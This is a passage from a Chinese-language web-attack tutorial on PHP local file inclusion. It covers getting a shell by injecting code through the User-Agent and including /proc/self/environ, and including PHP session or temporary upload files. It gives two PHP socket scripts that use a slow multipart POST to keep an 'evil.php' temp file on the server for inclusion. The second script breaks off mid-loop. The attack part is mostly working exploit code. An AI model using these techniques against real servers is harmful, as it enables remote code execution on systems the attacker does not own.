然后通过这个插件修改user-agent,如图03:
先选择上图的Edit User Agents 然后按照你如图04设置:
完成后,访问/proc/self/environ即可。就可以得到shell了。这种方法从个人实践上来说相当的鸡肋。
方法二:自己用php写一个socket程序,发送http数据的时候记得修改user-agent选项为你的代码即可,具体的代码和上面第2种方法类似,留给大家去发挥了。
5.包含session文件
这个方法来自于k4shifz博客
php保存格式 sess_SESSIONID 默认位置是/tmp/和c:/windows/temp/ 。
关于最后一种比较麻烦,也够鸡肋。大家不要想当然,认为tmp和move_uploaded_file()有关,其实没有move_uploaded_file()函数时,php会自动、马上清除tmp文件,而让它保留在服务器的方法是 慢连接 。测试包含temp文件所用两脚本,这个方法唯一好处就是向任意php文件发包,php总会先在服务器上生成tmp文件,然后慢连接使它不被删除
(前提是php.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个):
/* 这个所用时间较少 , 会产生20个临时文件 */
set_time_limit(0);
$cmd = 'Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz
--k4shifz_boundary
';
$fs=fsockopen('localhost',80);
/* you can also use HTTP/1.1 */
fputs($fs,'POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
--k4shifz_boundary
'.$cmd);
while($fs)
{
fputs($fs,$cmd);
sleep(1);
}
fclose($fs);
exit;
?>
/* 所用时间较长,会产生1个临时文件 */
set_time_limit(0);
$fs=fsockopen('localhost',80);
fputs($fs,'POST /test.php HTTP/1.0
Content-Type: multipart/form-data; boundary=k4shifz_boundary
Host: localhost
Content-Length: 999999
--k4shifz_boundary
Content-Disposition: form-data; name="evil"; filename="evil.php"
Content-Type: zzz
--k4shifz_boundary--
');
while($fs)
{
fputs($fs,'AAAA');